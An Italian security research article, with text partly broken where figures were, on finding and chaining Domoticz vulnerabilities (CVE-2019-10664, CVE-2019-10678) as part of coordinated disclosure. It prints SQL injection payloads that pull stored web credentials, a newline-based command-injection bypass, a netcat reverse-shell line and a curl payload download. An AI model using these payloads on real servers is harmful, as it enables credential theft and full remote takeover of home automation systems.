Weak password or weak hash function
A new tragedy
Dario Ragno
Domoticz è un sistema di automazione multipiattaforma e open-source che permette di monitorare e gestire vari dispositivi dell'Internet Of Things come: luci, interruttori, sensori di temperatura, ecc. Il sistema può essere gestito tramite un'applicazione web ma l'autenticazione risulta essere disabilitata di default...
Webserver.cpp
che gestisce e soddisfa la richiesta. Estraendo le route web associate ad un metodo, è possibile affinare l'enumerazione, estrapolando dal codice tutti i path realmente attivi e che risultano accessibili da non autenticati. Dopo essersi assicurati che l'autenticazione sia abilitata, si sono ottenuti, tramite richieste web puntuali, tutti i path accessibili senza essersi autenticati (HTTP response code 200)./images/floorplans/plan
e sarà particolarmente interessante per il prossimo attacco.printf
, utilizza la stringhe di formato. La libreria nativa di sqlite mette a disposizione un placeholder aggiuntivo: "%q"
. Quest'ultimo è adatto all'utilizzo di stringhe perchè effettua automaticamente l'escape del carattere apice, duplicandolo in modo da evitare iniezione di codice SQL nella query. Tuttavia, è stata individuata una sezione di codice che usa il classico "%s
" per includere una stringa.ID
come un numerico, omettendo gli apici, però allo stesso tempo non viene eseguito un cast al tipo intero e viene usato il placeholder %s
.idx
, dando vita ad una graziosa SQL Injection./images/floorplans/plan
, uno di quelli accessibili anche se presente l'autenticazione!!Preferences,
nei campi WebUserName
e WebPassword
.
1 UNION SELECT sValue FROM Preferences WHERE Key="WebUserName" --
1 UNION SELECT sValue FROM Preferences WHERE Key="WebPassword" --
Di seguito la risposta del server:
La possibilità di accedere al percorso web senza previa autenticazione permette quindi di estrarre le credenziali e di bypassare completamente l'autenticazione!uvccapture,
utilizzato per catturare le immagini e che permette di specificare quali argomenti passargli al momento dell'esecuzione. Per questa funzionalità viene utilizzata la system call system
del comando uvccapture
concatenando ad esso i parametri configurati dall'utente. L'esecuzione avviene però solo al momento dell'acquisizione da una telecamera./storesettings.webem
e si è notato un comportamento interessante con alcuni caratteri. Il server memorizza i parametri solo dopo un controllo sulla stringa, abortendo l'azione se vengono identificati dei caratteri presenti in una blacklist. La lista dei caratteri non permessi include: $
, |
, ;
, &
. Tra i caratteri filtrati però ne mancano alcuni che sono utili all'interno di una shell per "rompere" la sintassi ed inserire nuovi comandi, come \n
e \r
. Il carattere di newline inizia una nuova riga che la shell interpreta come un secondo comando indipendente. Il POC utilizzato nella prossima figura sfrutta curl
al fine di ottenere un evidenza del funzionamento.`nc ip port -e /bin/sh`
, utile per ottenere una reverse shell, potrebbe funzionare, se sul sistema fosse presente netcat e fosse compilato con l'opzione -e, ma bloccherebbe il webserver di Domoticz fino alla terminazione del processo (not so stealth!). Si noti che anche il carattere `
non faceva parte della blacklist ed è stato fixato poco tempo dopo con una commit successiva.`curl IP -o /tmp/myexec.sh -m 5`
in modo da scaricare ed eseguire il payload sul target.-zipcmd
effettua l'upload di un package di icone fasulle (fake icon), una delle quali conterrà al suo interno il payload specificato.-direct
, inietta direttamente il payload specificato nel parametro di uvccapture
, in questo caso però non è possibile nè usare la pipe nè mandare in backgroud il comando.Data | Cosa |
---|---|
29/03/2019 | La vulnerabilità è stata segnalata agli sviluppatori. |
29/03/2019 | Domoticz rilascia la patch. |
31/03/2019 | La vulnerabilità è stata resa pubblica, il mitre assegna il CVE-2019-10664 e il CVE-2019-10678. |
30/04/2019 | Viene rilasciato l'exploit su exploit-db. |
In questo articolo è stato analizzato il processo di ricerca che ha portato alla scoperta di alcune vulnerabilità che permettono di ottenere il controllo completo di un server con Domoticz.
Gemma Contini
Daniele Scanu
Riccardo Krauter, Fabio Cogno
Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.